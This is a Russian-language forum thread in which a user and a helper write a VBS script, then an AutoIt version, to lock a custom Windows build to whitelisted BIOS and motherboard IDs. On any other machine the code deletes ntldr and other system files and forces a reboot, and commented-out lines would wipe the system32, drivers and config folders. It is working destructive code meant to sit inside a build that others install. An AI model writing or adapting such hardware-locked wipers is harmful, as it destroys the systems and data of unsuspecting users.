Имя пользователя:
Пароль:
 | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Ответить
Настройки темы
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:

Код: Выделить весь код
Option Explicit

Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword

Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4

strPassword = "12345"
Dim arrayAllowedHosts(3)
arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3"
arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series"
arrayAllowedHosts(2) = "20020315000000.000000+000sis-645"
arrayAllowedHosts(3) = "20010427000000.000000+0008363-686"

Set objShell = CreateObject("Wscript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)

For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
  strComputerHost = objBios.ReleaseDate & objBaseboard.Product
  For Each strAllowedHost in arrayAllowedHosts
    If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
  Next
Next
Next

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
 objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
 strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
 ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")
objFSO.DeleteFile ("C:\PROTECTT.CMD")
То что выделено жирным удаляет файл ntldr если ID BIOS не совпадает с заданным и производит принудительную перезагрузку. Мне нужно дописать скрипт так чтобы он удалял еще нужные мне файлы. Я делал так:

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным.
Помогите пожалуйста.
Это сообщение посчитали полезным следующие участники:

Отправлено: 21:11, 21-02-2009

 

Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Pozia, в чем необходимость компиляции VBS/CMD?

Отправлено: 04:01, 26-02-2009 | #11



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, в том, что этот скрипт защита моей сборки, и нечего остальным править ее под себя А видя этот скрипт методом тыка можно сообразить что подправить чтобы сборка стала на нужном компе.

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 07:41, 26-02-2009 | #12


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата Pozia:
методом тыка можно сообразить что подправить чтобы сборка стала на нужном компе »
"методом тыка" можно много чего, например просто удалить EXE или заменить на "пустой", для простых случаев хватает Script Encoder'а, хотя ИМХО надежней переписать скрипт на любом знакомом языке, поддерживающем штатную компиляцию

Отправлено: 09:02, 26-02-2009 | #13


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, переписать скрипт это не по моим мозгам. По поводу появления окна как я описал есть идеи?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 10:04, 26-02-2009 | #14


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Pozia, по окну скорей компилятор виноват
Цитата:
скрипт это не по моим мозгам »
AutoIT устроит?.. как раз нужно решить задачу ветвления скрипта по типу платформы

Отправлено: 11:06, 26-02-2009 | #15


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, автоит только недавно начал изучать сам, да и то дальше симуляций нажатия по клавишам не дошло и врядли дойдет. Я вообще от программирования ну просто очень далек. И то что я умудрился за этот год сделать свою сборку винды, причем без хвастовства приличную, это для меня большое достижение. Все друзья теперь ставят ее а не зверя, который не нравится из за того что там есть то чего обычным смертным не надо. Вот последнее что я бы хотел сделать это защита своей сборки. Не хочу чтобы кроме моих друзей ее кто нибудь ставил. Защиту эту конечно же можно сломать без проблем, но это новичку надо не плохо этот сайт поизучать. А кто сможет сломать тому она не надо, они лучше свою сделают. Если вы можете написать этот скрипт в автоит буду вам крайне признателен. За помощь в любом случае спасибо.

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 11:57, 26-02-2009 | #16


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Pozia, вот что получилось... кстати, по ходу в оригинальном VBS один из 2-х "endif" лишний, возможно поэтому компилятор ругается:
Код: Выделить весь код
Opt("ExpandEnvStrings", 1)

Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20

Global $strPassword = "12345"
Global $arrayAllowedHosts[4] = [ _
    "20090116000000.000000+000ga-ma770-ds3", _
    "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
    "20020315000000.000000+000sis-645", _
    "20010427000000.000000+0008363-686" ]

If _PlatformArrayTest($arrayAllowedHosts) Then
    $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE)
Else
    FileSetAttrib("%SystemDrive%\ntldr", "-SR")

    FileDelete("%SystemDrive%\ntldr")
    FileDelete(@WindowsDir &"\notepad.exe")
    FileDelete(@SystemDir &"\wgatray.exe")

    Shutdown(29)
EndIf

FileDelete("%SystemDrive%\Protect.zip")
FileDelete("%SystemDrive%\PKUNZIP.EXE")
FileDelete("%SystemDrive%\PROTECTT.CMD")

Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
    Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
    Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
    Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)

    If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
    For $objBIOS In $colBIOS
        For $objBaseBoard In $colBaseBoard
            $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
            For $i=0 To UBound($arrayAllowedHosts)-1
                If $arrayAllowedHosts[$i]==$strComputerHost Then Return True
            Next
        Next
    Next
    Return False
EndFunc

Последний раз редактировалось amel27, 27-02-2009 в 04:51.

Это сообщение посчитали полезным следующие участники:

Отправлено: 12:16, 26-02-2009 | #17


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, спасибо большое. Оперативно вы. Как только протестирую напишу, на этой недели возможно уже не успею

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 12:49, 26-02-2009 | #18


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, вот попробовал протестить ваш скрипт. Правда немного модифицировал чтобы проверить на живой системе работу.

Вот текст:

HTML код: Выделить весь код
Opt("ExpandEnvStrings", 1) Global Const $WbemFlagReturnImmediately = 0x10 Global Const $WbemFlagForwardOnly = 0x20 Global Const $WmiRestartForce = 4 Global $strPassword = "12345" Global $arrayAllowedHosts[7] = [ _ "20090116000000.000000+000ga-ma770-ds3", _ "20060222000000.000000+000virtual machine", _ "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _ "20020315000000.000000+000sis-645", _ "20010427000000.000000+0008363-686", _ "20060925000000.000000+000mn2-e", _ "20060918000000.000000+000m61pm-s2" ] If _PlatformArrayTest($arrayAllowedHosts) Then $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE) Else FileDelete("%SystemDrive%\mmm") ;FileSetAttrib("%SystemDrive%\*.*", "-SR") ;FileDelete("%SystemDrive%\*.*") ;FileDelete(@WindowsDir &"\*.*") ;FileDelete(@WindowsDir &"\L2Schemas\*.*") ;FileDelete(@WindowsDir &"\security\*.*") ;FileDelete(@WindowsDir &"\system\*.*") ;FileDelete(@SystemDir &"\config\*.*") ;FileDelete(@SystemDir &"\drivers\*.*") ;FileDelete(@SystemDir &"\oobe\*.*") ;FileDelete(@SystemDir &"\*.*") ;Shutdown(29) EndIf ;FileDelete("%SystemDrive%\Protect.zip") ;FileDelete("%SystemDrive%\PKUNZIP.EXE") ;FileDelete("%SystemDrive%\PROTECTT.CMD") Func _PlatformArrayTest(ByRef $arrayAllowedHosts) Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2") Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False For $objBIOS In $colBIOS For $objBaseBoard In $colBaseBoard For $i=0 To UBound($arrayAllowedHosts)-1 $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3) If $arrayAllowedHosts[$i]==$strComputerHost Then Return True Next Next Next Return False EndFunc

В общем при смене ID BIOS ничего не меняется. Всегда удаляется файл mmm. Я так пологаю скрипт не хочет сравнивать ID BIOS с заданными. Посмотрите пожалуйста. И еще вопрос. Если я буду добовлять еще ID BIOS то менять нужно в Global Const $WmiRestartForce = 4 жирную цифру?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 18:55, 26-02-2009 | #19


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата Pozia:
Я так пологаю скрипт не хочет сравнивать ID BIOS с заданными »
попробуй отладочный вариант _PlatformArrayTest()... кстати - если регистр при сравнении не должен учитываться, замени в тексте функции оператор "==" на "="
Код: Выделить весь код
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
    Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
    Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
    Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)

    If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then
        MsgBox(16, "Ошибка", "Ошибка выполнения WMI запроса")
        Return False
    EndIf
    For $objBIOS In $colBIOS
        For $objBaseBoard In $colBaseBoard
            $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
            MsgBox(64, "Уведомление", 'ID платформы: "'& $strComputerHost &'"')
            For $i=0 To UBound($arrayAllowedHosts)-1
                If $arrayAllowedHosts[$i]==$strComputerHost Then
                    MsgBox(64, "Уведомление", 'ID платформы найден, индекс массива: '& $i)
                    Return True
                EndIf
            Next
        Next
    Next
    MsgBox(64, "Уведомление", "ID платформы в массиве не найден.")
    Return False
EndFunc
Цитата Pozia:
И еще вопрос. Если я буду добовлять еще ID BIOS то менять нужно в Global Const $WmiRestartForce = 4 жирную цифру? »
эту строчку можно удалить - скрипт использует штатную команду Shutdown вместо WMI
Это сообщение посчитали полезным следующие участники:

Отправлено: 04:11, 27-02-2009 | #20



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
VBS/WSH/JS - Помогите русифицироват *.vbs скрипт nod201 Скриптовые языки администрирования Windows 3 07-12-2009 10:53
VBS/WSH/JS - Помогите редактировать Autorun_Disable.vbs на Autorun_Enable.vbs nod201 Скриптовые языки администрирования Windows 0 05-12-2009 05:44
Любой язык - [решено] Нужен скрипт cmd,vbs,PowerShell для проверки списка пользователей и их удаление из AD alex_frog Скриптовые языки администрирования Windows 6 22-07-2009 18:41
Помогите, нужен скрипт vbs или wsh Foxie Microsoft Windows NT/2000/2003 3 18-01-2006 13:45
VBS/WSH/JS - Скрипт на VBS b0bi Программирование и базы данных 1 15-06-2004 19:15




 
Переход